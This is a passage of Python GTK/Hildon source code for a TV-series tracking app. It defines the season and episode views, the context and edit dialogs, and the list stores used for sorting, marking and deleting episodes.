self.NEXT_EPISODE_COLUMN,\n info['next_episode'])\n self.set_value(iter, self.SEARCH_COLUMN, show.name.lower())\n\n def _load_pixmap_async(self, show, pixbuf):\n if pixbuf_is_cover(pixbuf):\n return\n if show.image and os.path.isfile(show.image):\n pixbuf = self.cached_pixbufs.get(show.image)\n if not pixbuf:\n try:\n pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(show.image,\n constants.IMAGE_WIDTH,\n constants.IMAGE_HEIGHT)\n except:\n pixbuf = get_placeholder_pixbuf()\n self.cached_pixbufs[show.image] = pixbuf\n elif show.downloading_show_image:\n pixbuf = self.downloading_pixbuf\n else:\n pixbuf = get_placeholder_pixbuf()\n return pixbuf\n\n def _load_pixmap_async_finished(self, show, pixbuf, error):\n if error or not pixbuf:\n return\n iter = self._get_iter_for_show(show)\n if iter:\n self.set_value(iter, self.IMAGE_COLUMN, pixbuf)\n\n def update_pixmaps(self, show = None):\n iter = self.get_iter_first()\n async_worker = AsyncWorker(True)\n while iter:\n current_show = self.get_value(iter, self.SHOW_COLUMN)\n same_show = show == current_show\n if show is None or same_show:\n pixbuf = self.get_value(iter, self.IMAGE_COLUMN)\n async_item = AsyncItem(self._load_pixmap_async,\n (current_show, pixbuf),\n self._load_pixmap_async_finished,\n (current_show,))\n async_worker.queue.put(async_item)\n if same_show:\n break\n iter = self.iter_next(iter)\n async_worker.start()\n\n def _sort_func(self, model, iter1, iter2):\n episode1 = model.get_value(iter1, self.NEXT_EPISODE_COLUMN)\n episode2 = model.get_value(iter2, self.NEXT_EPISODE_COLUMN)\n if not episode1:\n if episode2:\n return 1\n return 0\n if not episode2:\n if episode1:\n return -1\n most_recent = (episode1 or episode2).get_most_recent(episode2)\n if not most_recent:\n return 0\n if episode1 == most_recent:\n return -1\n return 1\n\n def _get_iter_for_show(self, show):\n if not show:\n return None\n iter = self.get_iter_first()\n while iter:\n current_show = self.get_value(iter, self.SHOW_COLUMN)\n if show == current_show:\n break\n iter = self.iter_next(iter)\n return iter\n\nclass SeasonsView(hildon.StackableWindow):\n\n def __init__(self, settings, series_manager, connection_manager, show):\n super(SeasonsView, self).__init__()\n self.set_title(show.name)\n\n self.settings = settings\n\n self.series_manager = series_manager\n self.series_manager.connect('update-show-episodes-complete',\n self._update_show_episodes_complete_cb)\n self.series_manager.connect('updated-show-art',\n self._update_show_art)\n\n self.connection_manager = connection_manager\n self.connection_manager.connect('connection-changed',\n self._on_connection_changed)\n self.show = show\n self.set_app_menu(self._create_menu())\n self.set_title(show.name)\n\n self.seasons_select_view = SeasonSelectView(self.show)\n seasons = self.show.get_seasons()\n self.seasons_select_view.set_seasons(seasons)\n self.seasons_select_view.connect('row-activated', self._row_activated_cb)\n self.seasons_select_view.connect('long-press', self._long_press_cb)\n self.connect('delete-event', self._delete_event_cb)\n\n seasons_area = hildon.PannableArea()\n seasons_area.add(self.seasons_select_view)\n self.add(seasons_area)\n\n if self.settings.getConf(self.settings.SEASONS_ORDER_CONF_NAME) == \\\n self.settings.ASCENDING_ORDER:\n self._sort_ascending_cb(None)\n else:\n self._sort_descending_cb(None)\n\n self.request = None\n self._update_menu_visibility()\n\n def _delete_event_cb(self, window, event):\n if self.request:\n self.request.stop()\n self.request = None\n return False\n\n def _row_activated_cb(self, view, path, column):\n season = self.seasons_select_view.get_season_from_path(path)\n episodes_view = EpisodesView(self.settings, self.show, season)\n episodes_view.connect('delete-event', self._update_series_list_cb)\n episodes_view.connect('episode-list-changed', self._update_series_list_cb)\n episodes_view.show_all()\n\n def _long_press_cb(self, widget, path, column):\n season = self.seasons_select_view.get_season_from_path(path)\n context_dialog = SeasonContextDialog(self.show, season, self)\n response = context_dialog.run()\n context_dialog.destroy()\n if response == SeasonContextDialog.MARK_EPISODES_RESPONSE:\n self.show.mark_all_episodes_as_watched(season)\n elif response == SeasonContextDialog.UNMARK_EPISODES_RESPONSE:\n self.show.mark_all_episodes_as_not_watched(season)\n elif response == SeasonContextDialog.DELETE_RESPONSE:\n dialog = gtk.Dialog(title = _('Delete Season'),\n parent = self,\n buttons = (gtk.STOCK_NO, gtk.RESPONSE_NO,\n gtk.STOCK_YES, gtk.RESPONSE_YES))\n label = gtk.Label(_('Are you sure you want to delete '\n 'this season?'))\n label.show()\n dialog.vbox.add(label)\n response = dialog.run()\n if response == gtk.RESPONSE_YES:\n self.show.delete_season(season)\n dialog.destroy()\n seasons = self.show.get_seasons();\n self.seasons_select_view.set_seasons(seasons)\n\n def _update_series_list_cb(self, widget, event = None):\n seasons = self.show.get_seasons();\n self.seasons_select_view.set_seasons(seasons)\n self._update_menu_visibility()\n\n def _create_menu(self):\n menu = hildon.AppMenu()\n\n button_asc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button_asc.set_mode(False)\n button_asc.set_label(_('A-Z'))\n menu.add_filter(button_asc)\n button_desc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT,\n group = button_asc)\n button_desc.set_mode(False)\n button_desc.set_label(_('Z-A'))\n menu.add_filter(button_desc)\n if self.settings.getConf(Settings.SEASONS_ORDER_CONF_NAME) == \\\n Settings.ASCENDING_ORDER:\n button_asc.set_active(True)\n else:\n button_desc.set_active(True)\n button_asc.connect('clicked', self._sort_ascending_cb)\n button_desc.connect('clicked', self._sort_descending_cb)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Info'))\n button.connect('clicked', self._show_info_cb)\n menu.append(button)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Edit info'))\n button.connect('clicked', self._edit_show_info)\n menu.append(button)\n\n self.update_menu = None\n if str(self.show.thetvdb_id) != '-1':\n self.update_menu = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.update_menu.set_label(_('Update show'))\n self.update_menu.connect('clicked', self._update_series_cb)\n menu.append(self.update_menu)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Delete season'))\n button.connect('clicked', self._delete_seasons_cb)\n menu.append(button)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('New episode'))\n button.connect('clicked', self._new_episode_cb)\n menu.append(button)\n\n menu.show_all()\n return menu\n\n def _update_menu_visibility(self):\n if not self.update_menu:\n return\n if self.request or not self.show.get_seasons():\n self.update_menu.hide()\n else:\n self.update_menu.show()\n self._on_connection_changed(self.connection_manager)\n\n def _update_series_cb(self, button):\n self.request = self.series_manager.update_show_episodes(self.show)\n hildon.hildon_gtk_window_set_progress_indicator(self, True)\n self.set_sensitive(False)\n show_information(self, _('Updating show. Please wait...'))\n self._update_menu_visibility()\n\n def _show_info_cb(self, button):\n dialog = ShowInfoDialog(parent = self)\n dialog.run()\n dialog.destroy()\n\n def _edit_show_info(self, button):\n edit_series_dialog = EditShowsDialog(self, self.show)\n response = edit_series_dialog.run()\n info = edit_series_dialog.get_info()\n edit_series_dialog.destroy()\n if response == gtk.RESPONSE_ACCEPT:\n self.show.name = info['name']\n self.show.overview = info['overview']\n self.show.genre = info['genre']\n self.show.network = info['network']\n self.show.rating = info['rating']\n self.show.actors = info['actors']\n self.series_manager.updated()\n self.set_title(self.show.name)\n\n def _new_episode_cb(self, button):\n new_episode_dialog = NewEpisodeDialog(self,\n self.show)\n response = new_episode_dialog.run()\n if response == gtk.RESPONSE_ACCEPT:\n episode_info = new_episode_dialog.get_info()\n episode = Episode(episode_info['name'],\n self.show,\n episode_info['number'])\n episode.overview = episode_info['overview']\n episode.season_number = episode_info['season']\n episode.episode_number = episode_info['number']\n episode.director = episode_info['director']\n episode.writer = episode_info['writer']\n episode.rating = episode_info['rating']\n episode.air_date = episode_info['air_date']\n episode.guest_stars = episode_info['guest_stars']\n self.show.update_episode_list([episode])\n seasons = self.show.get_seasons()\n self.seasons_select_view.set_seasons(seasons)\n new_episode_dialog.destroy()\n\n def _update_show_episodes_complete_cb(self, series_manager, show, error):\n if error and self.request:\n error_message = ''\n if 'socket' in str(error).lower():\n error_message = '\\n ' + _('Please verify your internet connection '\n 'is available')\n show_information(self, error_message)\n elif show == self.show:\n seasons = self.show.get_seasons()\n model = self.seasons_select_view.get_model()\n if model:\n model.clear()\n self.seasons_select_view.set_seasons(seasons)\n hildon.hildon_gtk_window_set_progress_indicator(self, False)\n self.set_sensitive(True)\n self.request = None\n self._update_menu_visibility()\n\n def _update_show_art(self, series_manager, show):\n if show == self.show:\n self.seasons_select_view.update()\n\n def _delete_seasons_cb(self, button):\n seasons_delete_view = SeasonsDeleteView(self.series_manager,\n self.seasons_select_view)\n seasons = self.show.get_seasons()\n seasons_delete_view.show_all()\n\n def _on_connection_changed(self, connection_manager):\n if connection_manager.is_online():\n self.update_menu.show()\n else:\n self.update_menu.hide()\n\n def _sort_ascending_cb(self, button):\n self.seasons_select_view.sort_ascending()\n self.settings.setConf(self.settings.SEASONS_ORDER_CONF_NAME,\n self.settings.ASCENDING_ORDER)\n\n def _sort_descending_cb(self, button):\n self.seasons_select_view.sort_descending()\n self.settings.setConf(self.settings.SEASONS_ORDER_CONF_NAME,\n self.settings.DESCENDING_ORDER)\n\nclass ShowInfoDialog(gtk.Dialog):\n\n def __init__(self, show, title = '', parent = None):\n gtk.Dialog.__init__(self, title = title, parent = parent)\n self.show = show\n self.set_title(_('Show details'))\n infotextview = InfoTextView()\n infotextview.set_title(self.show.name)\n infotextview.add_field (self.show.overview)\n infotextview.add_field ('\\n')\n infotextview.add_field (self.show.genre, _('Genre'))\n infotextview.add_field (self.show.network, _('Network'))\n infotextview.add_field (self.show.actors, _('Actors'))\n infotextview.add_field (self.show.rating, _('Rating'))\n info_area = hildon.PannableArea()\n info_area.add_with_viewport(infotextview)\n info_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN)\n info_area.set_size_request(-1, 800)\n self.vbox.add(info_area)\n self.vbox.show_all()\n\nclass SeasonsDeleteView(DeleteView):\n\n def __init__(self, series_manager, seasons_select_view):\n self.seasons_select_view = SeasonSelectView(seasons_select_view.show)\n self.seasons_select_view.set_model(seasons_select_view.get_model())\n super(SeasonsDeleteView, self).__init__(self.seasons_select_view,\n _('Delete seasons'),\n _('Delete'))\n self.series_manager = series_manager\n self.toolbar.connect('button-clicked',\n self._button_clicked_cb)\n\n def _button_clicked_cb(self, button):\n selection = self.seasons_select_view.get_selection()\n selected_rows = selection.get_selected_rows()\n model, paths = selected_rows\n if not paths:\n show_information(self, _('Please select one or more seasons'))\n return\n seasons = [model[path][SeasonListStore.SEASON_COLUMN] for path in paths]\n for season in seasons:\n self.seasons_select_view.show.delete_season(season)\n model.delete_season(season)\n self.destroy()\n\nclass SeasonListStore(gtk.ListStore):\n\n IMAGE_COLUMN = 0\n INFO_COLUMN = 1\n SEASON_COLUMN = 2\n\n def __init__(self, show):\n super(SeasonListStore, self).__init__(gtk.gdk.Pixbuf,\n str,\n str)\n self.show = show\n\n def add(self, season_list):\n self.clear()\n for season in season_list:\n if season == '0':\n name = _('Special')\n else:\n name = _('Season %s') % season\n row = {self.IMAGE_COLUMN: None,\n self.INFO_COLUMN: name,\n self.SEASON_COLUMN: season,\n }\n self.append(row.values())\n self.update()\n\n def update(self):\n iter = self.get_iter_first()\n while iter:\n self._update_iter(iter)\n iter = self.iter_next(iter)\n\n def delete_season(self, season):\n iter = self.get_iter_first()\n while iter:\n if self.get_value(iter, self.SEASON_COLUMN) == season:\n self.remove(iter)\n break\n iter = self.iter_next(iter)\n\n def _update_iter(self, iter):\n season = self.get_value(iter, self.SEASON_COLUMN)\n info = self.show.get_season_info_markup(season)\n self.set_value(iter, self.INFO_COLUMN, info)\n pixbuf = self.get_value(iter, self.IMAGE_COLUMN)\n image = self.show.season_images.get(season)\n if pixbuf_is_cover(pixbuf):\n return\n if image and os.path.isfile(image):\n try:\n pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(image,\n constants.IMAGE_WIDTH,\n constants.IMAGE_HEIGHT)\n except:\n pixbuf = get_placeholder_pixbuf()\n self.set_value(iter, self.IMAGE_COLUMN, pixbuf)\n elif self.show.downloading_season_image:\n pixbuf = get_downloading_pixbuf()\n self.set_value(iter, self.IMAGE_COLUMN, pixbuf)\n else:\n pixbuf = get_placeholder_pixbuf()\n self.set_value(iter, self.IMAGE_COLUMN, pixbuf)\n\nclass SeasonSelectView(EnhancedTreeView):\n\n def __init__(self, show):\n super(SeasonSelectView, self).__init__()\n self.show = show\n model = SeasonListStore(self.show)\n season_image_renderer = gtk.CellRendererPixbuf()\n column = gtk.TreeViewColumn('Image', season_image_renderer, pixbuf = model.IMAGE_COLUMN)\n self.append_column(column)\n season_renderer = gtk.CellRendererText()\n season_renderer.set_property('ellipsize', pango.ELLIPSIZE_END)\n column = gtk.TreeViewColumn('Name', season_renderer, markup = model.INFO_COLUMN)\n self.set_model(model)\n self.append_column(column)\n self.get_model().set_sort_func(SeasonListStore.SEASON_COLUMN, self._sort_func)\n\n def set_seasons(self, season_list):\n model = self.get_model()\n model.add(season_list)\n\n def get_season_from_path(self, path):\n model = self.get_model()\n iter = model.get_iter(path)\n season = model.get_value(iter, model.SEASON_COLUMN)\n return season\n\n def update(self):\n model = self.get_model()\n if model:\n model.update()\n\n def _sort_func(self, model, iter1, iter2):\n season1 = model.get_value(iter1, SeasonListStore.SEASON_COLUMN)\n season2 = model.get_value(iter2, SeasonListStore.SEASON_COLUMN)\n if season1 == None or season2 == None:\n return 0\n if int(season1) < int(season2):\n return -1\n return 1\n\n def sort_descending(self):\n model = self.get_model()\n model.set_sort_column_id(SeasonListStore.SEASON_COLUMN,\n gtk.SORT_DESCENDING)\n\n def sort_ascending(self):\n model = self.get_model()\n model.set_sort_column_id(SeasonListStore.SEASON_COLUMN,\n gtk.SORT_ASCENDING)\n\nclass SeasonContextDialog(gtk.Dialog):\n\n MARK_EPISODES_RESPONSE = 1 << 0\n UNMARK_EPISODES_RESPONSE = 1 << 1\n DELETE_RESPONSE = 1 << 2\n\n def __init__(self, show, season, parent):\n super(SeasonContextDialog, self).__init__(parent = parent)\n self.show = show\n self.season = season\n season_name = self.season\n if self.season == '0':\n season_name = _('Special')\n self.set_title(_('Season: %(season)s') % {'season': season_name})\n\n box = gtk.HBox(True)\n mark_episodes_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n if self.show.is_completely_watched(self.season):\n mark_episodes_button.set_label(_('Unmark All Episodes'))\n mark_episodes_button.connect('clicked',\n lambda b: self.response(self.UNMARK_EPISODES_RESPONSE))\n else:\n mark_episodes_button.set_label(_('Mark All Episodes'))\n mark_episodes_button.connect('clicked',\n lambda b: self.response(self.MARK_EPISODES_RESPONSE))\n box.add(mark_episodes_button)\n delete_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n delete_button.set_label(_('Delete'))\n delete_button.connect('clicked',\n lambda b: self.response(self.DELETE_RESPONSE))\n box.add(delete_button)\n self.vbox.add(box)\n self.vbox.show_all()\n\nclass ShowContextDialog(gtk.Dialog):\n\n INFO_RESPONSE = 1 << 0\n MARK_NEXT_EPISODE_RESPONSE = 1 << 1\n UPDATE_RESPONSE = 1 << 2\n DELETE_RESPONSE = 1 << 3\n\n def __init__(self, show, parent):\n super(ShowContextDialog, self).__init__(parent = parent)\n self.show = show\n self.set_title(self.show.name)\n\n box = gtk.HBox(True)\n info_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n info_button.set_label('Info')\n info_button.connect('clicked',\n lambda b: self.response(self.INFO_RESPONSE))\n box.add(info_button)\n if not show.is_completely_watched():\n mark_next_ep_as_watched_button = \\\n hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n mark_next_ep_as_watched_button.set_label('Mark Next Episode')\n mark_next_ep_as_watched_button.connect('clicked',\n lambda b: self.response(self.MARK_NEXT_EPISODE_RESPONSE))\n box.add(mark_next_ep_as_watched_button)\n\n online = ConnectionManager().is_online()\n if online or len(box.get_children()) > 1:\n self.vbox.add(box)\n box = gtk.HBox(True)\n if online:\n update_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n update_button.set_label(_('Update'))\n update_button.connect('clicked',\n lambda b: self.response(self.UPDATE_RESPONSE))\n box.add(update_button)\n delete_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n delete_button.set_label(_('Delete'))\n delete_button.connect('clicked',\n lambda b: self.response(self.DELETE_RESPONSE))\n box.add(delete_button)\n self.vbox.add(box)\n self.vbox.show_all()\n\nclass NewShowDialog(gtk.Dialog):\n\n def __init__(self, parent):\n super(NewShowDialog, self).__init__(parent = parent,\n buttons = (gtk.STOCK_ADD,\n gtk.RESPONSE_ACCEPT))\n\n self.set_title(_('Edit show'))\n\n self.show_name = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.show_overview = hildon.TextView()\n self.show_overview.set_placeholder(_('Overview'))\n self.show_overview.set_wrap_mode(gtk.WRAP_WORD)\n self.show_genre = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.show_network = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.show_rating = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.show_actors = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n\n contents = gtk.VBox(False, 0)\n\n row = gtk.HBox(False, 12)\n row.pack_start(gtk.Label(_('Name:')), False, False, 0)\n row.pack_start(self.show_name, True, True, 0)\n contents.pack_start(row, False, False, 0)\n contents.pack_start(self.show_overview, False, False, 0)\n\n fields = [(_('Genre:'), self.show_genre),\n (_('Network:'), self.show_network),\n (_('Rating:'), self.show_rating),\n (_('Actors:'), self.show_actors),\n ]\n size_group = gtk.SizeGroup(gtk.SIZE_GROUP_BOTH)\n for text, widget in fields:\n row = gtk.HBox(False, 12)\n label = gtk.Label(text)\n size_group.add_widget(label)\n row.pack_start(label, False, False, 0)\n row.pack_start(widget, True, True, 0)\n contents.pack_start(row, False, False, 0)\n\n contents_area = hildon.PannableArea()\n contents_area.add_with_viewport(contents)\n contents_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN)\n\n self.vbox.add(contents_area)\n self.vbox.show_all()\n\n def get_info(self):\n buffer = self.show_overview.get_buffer()\n start_iter = buffer.get_start_iter()\n end_iter = buffer.get_end_iter()\n overview_text = buffer.get_text(start_iter, end_iter)\n info = {'name': self.show_name.get_text(),\n 'overview': overview_text,\n 'genre': self.show_genre.get_text(),\n 'network': self.show_network.get_text(),\n 'rating': self.show_rating.get_text(),\n 'actors': self.show_actors.get_text()}\n return info\n\nclass EditShowsDialog(NewShowDialog):\n\n def __init__(self, parent, show):\n super(EditShowsDialog, self).__init__(parent)\n\n self.show_name.set_text(show.name)\n self.show_overview.get_buffer().set_text(show.overview)\n self.show_genre.set_text(str(show.genre))\n self.show_network.set_text(show.network)\n self.show_rating.set_text(show.rating)\n self.show_actors.set_text(str(show.actors))\n\nclass NewEpisodeDialog(gtk.Dialog):\n\n def __init__(self, parent, show):\n super(NewEpisodeDialog, self).__init__(parent = parent,\n buttons = (gtk.STOCK_ADD,\n gtk.RESPONSE_ACCEPT))\n\n self.set_title(_('New episode'))\n\n self.episode_name = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.episode_overview = hildon.TextView()\n self.episode_overview.set_placeholder(_('Overview'))\n self.episode_overview.set_wrap_mode(gtk.WRAP_WORD)\n\n self.episode_number = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT,\n hildon.BUTTON_ARRANGEMENT_VERTICAL)\n selector = hildon.TouchSelectorEntry(text = True)\n self.episode_number.set_title(_('Number:'))\n for i in xrange(20):\n selector.append_text(str(i + 1))\n self.episode_number.set_selector(selector)\n self.episode_number.set_active(0)\n\n self.episode_season = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT,\n hildon.BUTTON_ARRANGEMENT_VERTICAL)\n selector = hildon.TouchSelectorEntry(text = True)\n self.episode_season.set_title(_('Season:'))\n seasons = show.get_seasons()\n for season in seasons:\n selector.append_text(season)\n self.episode_season.set_selector(selector)\n if seasons:\n self.episode_season.set_active(len(seasons) - 1)\n else:\n selector.append_text('1')\n self.episode_season.set_active(0)\n\n self.episode_director = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.episode_writer = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.episode_air_date = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.episode_rating = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.episode_guest_stars = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n\n contents = gtk.VBox(False, 0)\n\n row = gtk.HBox(False, 12)\n row.pack_start(gtk.Label(_('Name:')), False, False, 0)\n row.pack_start(self.episode_name, True, True, 0)\n contents.pack_start(row, False, False, 0)\n contents.pack_start(self.episode_overview, False, False, 0)\n row = gtk.HBox(False, 12)\n row.add(self.episode_season)\n row.add(self.episode_number)\n contents.pack_start(row, False, False, 0)\n\n fields = [(_('Director:'), self.episode_director),\n (_('Writer:'), self.episode_writer),\n (_('Original air date:'), self.episode_air_date),\n (_('Rating:'), self.episode_rating),\n (_('Guest stars:'), self.episode_guest_stars),\n ]\n size_group = gtk.SizeGroup(gtk.SIZE_GROUP_BOTH)\n for text, widget in fields:\n row = gtk.HBox(False, 12)\n label = gtk.Label(text)\n size_group.add_widget(label)\n row.pack_start(label, False, False, 0)\n row.pack_start(widget, True, True, 0)\n contents.pack_start(row, False, False, 0)\n\n contents_area = hildon.PannableArea()\n contents_area.add_with_viewport(contents)\n contents_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN)\n\n self.vbox.add(contents_area)\n self.vbox.show_all()\n\n def get_info(self):\n buffer = self.episode_overview.get_buffer()\n start_iter = buffer.get_start_iter()\n end_iter = buffer.get_end_iter()\n overview_text = buffer.get_text(start_iter, end_iter)\n info = {'name': self.episode_name.get_text(),\n 'overview': overview_text,\n 'season': self.episode_season.get_selector().get_entry().get_text(),\n 'number': self.episode_number.get_selector().get_entry().get_text(),\n 'director': self.episode_director.get_text(),\n 'writer': self.episode_writer.get_text(),\n 'air_date': self.episode_air_date.get_text(),\n 'rating': self.episode_rating.get_text(),\n 'guest_stars': self.episode_guest_stars.get_text()}\n return info\n\nclass EditEpisodeDialog(NewEpisodeDialog):\n\n def __init__(self, parent, episode):\n super(EditEpisodeDialog, self).__init__(parent, episode.show)\n\n self.episode_name.set_text(episode.name)\n self.episode_overview.get_buffer().set_text(episode.overview)\n self.episode_season.get_selector().get_entry().set_text(episode.season_number)\n self.episode_number.get_selector().get_entry().set_text(str(episode.episode_number))\n self.episode_director.set_text(episode.director)\n self.episode_writer.set_text(str(episode.writer))\n self.episode_air_date.set_text(str(episode.air_date))\n self.episode_rating.set_text(episode.rating)\n self.episode_guest_stars.set_text(str(episode.guest_stars))\n\nclass EpisodesView(hildon.StackableWindow):\n\n EPISODES_LIST_CHANGED_SIGNAL = 'episode-list-changed'\n\n __gsignals__ = {EPISODES_LIST_CHANGED_SIGNAL: (gobject.SIGNAL_RUN_LAST,\n gobject.TYPE_NONE,\n ()),\n }\n\n def __init__(self, settings, show, season_number = None):\n super(EpisodesView, self).__init__()\n\n self.settings = Settings()\n self.series_manager = SeriesManager()\n\n self.show = show\n self.season_number = season_number\n self.set_title(self.show.name)\n self.episodes_check_view = EpisodesCheckView()\n self.episodes_check_view.set_episodes(self.show.get_episodes_by_season(self.season_number))\n self.episodes_check_view.watched_renderer.connect('toggled',\n self._watched_renderer_toggled_cb,\n self.episodes_check_view.get_model())\n self.episodes_check_view.connect('row-activated', self._row_activated_cb)\n\n episodes_area = hildon.PannableArea()\n episodes_area.add(self.episodes_check_view)\n self.add(episodes_area)\n self.set_app_menu(self._create_menu())\n if self.settings.getConf(self.settings.EPISODES_ORDER_CONF_NAME) == \\\n self.settings.ASCENDING_ORDER:\n self._sort_ascending_cb(None)\n else:\n self._sort_descending_cb(None)\n\n def _create_menu(self):\n menu = hildon.AppMenu()\n\n button_asc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button_asc.set_mode(False)\n button_asc.set_label(_('A-Z'))\n menu.add_filter(button_asc)\n button_desc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT, group = button_asc)\n button_desc.set_mode(False)\n button_desc.set_label(_('Z-A'))\n menu.add_filter(button_desc)\n if self.settings.getConf(Settings.EPISODES_ORDER_CONF_NAME) == \\\n Settings.ASCENDING_ORDER:\n button_asc.set_active(True)\n else:\n button_desc.set_active(True)\n button_asc.connect('clicked', self._sort_ascending_cb)\n button_desc.connect('clicked', self._sort_descending_cb)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Mark all'))\n button.connect('clicked', self._select_all_cb)\n menu.append(button)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Mark none'))\n button.connect('clicked', self._select_none_cb)\n menu.append(button)\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Delete episodes'))\n button.connect('clicked', self._delete_episodes_cb)\n menu.append(button)\n\n menu.show_all()\n return menu\n\n def _delete_episodes_cb(self, button):\n delete_episodes_view = EpisodesDeleteView(self.show)\n episodes = self.show.get_episodes_by_season(self.season_number)\n delete_episodes_view.episodes_select_view.set_episodes(episodes)\n delete_episodes_view.toolbar.connect('button-clicked',\n self._update_episodes_list_cb)\n delete_episodes_view.show_all()\n\n def _select_all_cb(self, button):\n self.episodes_check_view.select_all()\n\n def _select_none_cb(self, button):\n self.episodes_check_view.select_none()\n\n def _row_activated_cb(self, view, path, column):\n episode = self.episodes_check_view.get_episode_from_path(path)\n if self.episodes_check_view.get_column(EpisodeListStore.INFO_COLUMN) == column:\n episodes_view = EpisodeView(episode)\n episodes_view.connect('delete-event', self._update_episodes_list_cb)\n episodes_view.show_all()\n\n def _update_episodes_list_cb(self, widget, event = None):\n self.emit(self.EPISODES_LIST_CHANGED_SIGNAL)\n episodes = self.show.get_episodes_by_season(self.season_number)\n if episodes:\n self.episodes_check_view.set_episodes(episodes)\n else:\n self.destroy()\n return False\n\n def _watched_renderer_toggled_cb(self, renderer, path, model):\n episode = self.episodes_check_view.get_episode_from_path(path)\n episode.watched = not episode.watched\n episode.updated()\n model[path][model.CHECK_COLUMN] = episode.watched\n model.update_iter(model.get_iter(path))\n\n def _sort_ascending_cb(self, button):\n self.episodes_check_view.sort_ascending()\n self.settings.setConf(self.settings.EPISODES_ORDER_CONF_NAME,\n self.settings.ASCENDING_ORDER)\n\n def _sort_descending_cb(self, button):\n self.episodes_check_view.sort_descending()\n self.settings.setConf(self.settings.EPISODES_ORDER_CONF_NAME,\n self.settings.DESCENDING_ORDER)\n\nclass EpisodeListStore(gtk.ListStore):\n CHECK_COLUMN = 0\n INFO_COLUMN = 1\n EPISODE_COLUMN = 2\n\n def __init__(self):\n EpisodeListStore.CHECK_COLUMN = Settings().getConf(Settings.EPISODES_CHECK_POSITION)\n EpisodeListStore.INFO_COLUMN = 1 - EpisodeListStore.CHECK_COLUMN\n types = {self.CHECK_COLUMN: bool, self.INFO_COLUMN: str,\n self.EPISODE_COLUMN: gobject.TYPE_PYOBJECT}\n super(EpisodeListStore, self).__init__(*types.values())\n\n def add(self, episode_list):\n self.clear()\n for episode in episode_list:\n name = str(episode)\n row = {self.CHECK_COLUMN: episode.watched,\n self.INFO_COLUMN: saxutils.escape(str(name)),\n self.EPISODE_COLUMN: episode}\n self.append(row.values())\n self.update()\n\n\n def update(self):\n iter = self.get_iter_root()\n while iter:\n next_iter = self.iter_next(iter)\n self.update_iter(iter)\n iter = next_iter\n\n def update_iter(self, iter):\n episode = self.get_value(iter, self.EPISODE_COLUMN)\n info = episode.get_info_markup()\n self.set_value(iter, self.INFO_COLUMN, info)\n\nclass EpisodesCheckView(gtk.TreeView):\n\n def __init__(self):\n super(EpisodesCheckView, self).__init__()\n model = EpisodeListStore()\n episode_renderer = gtk.CellRendererText()\n episode_renderer.set_property('ellipsize', pango.ELLIPSIZE_END)\n column = gtk.TreeViewColumn('Name', episode_renderer, markup = model.INFO_COLUMN)\n column.set_property('expand', True)\n self.append_column(column)\n self.watched_renderer = gtk.CellRendererToggle()\n self.watched_renderer.set_property('width', 100)\n self.watched_renderer.set_property('activatable', True)\n column = gtk.TreeViewColumn('Watched', self.watched_renderer)\n column.add_attribute(self.watched_renderer, \"active\", model.CHECK_COLUMN)\n self.insert_column(column, model.CHECK_COLUMN)\n self.set_model(model)\n self.get_model().set_sort_func(2, self._sort_func)\n\n def _sort_func(self, model, iter1, iter2):\n episode1 = model.get_value(iter1, model.EPISODE_COLUMN)\n episode2 = model.get_value(iter2, model.EPISODE_COLUMN)\n if episode1 == None or episode2 == None:\n return 0\n if episode1.episode_number < episode2.episode_number:\n return -1\n return 1\n\n def set_episodes(self, episode_list):\n model = self.get_model()\n model.add(episode_list)\n\n def get_episode_from_path(self, path):\n model = self.get_model()\n iter = model.get_iter(path)\n episode = model.get_value(iter, model.EPISODE_COLUMN)\n return episode\n\n def sort_descending(self):\n model = self.get_model()\n model.set_sort_column_id(model.EPISODE_COLUMN,\n gtk.SORT_DESCENDING)\n\n def sort_ascending(self):\n model = self.get_model()\n model.set_sort_column_id(model.EPISODE_COLUMN,\n gtk.SORT_ASCENDING)\n\n def select_all(self):\n self._set_episodes_selection(True)\n 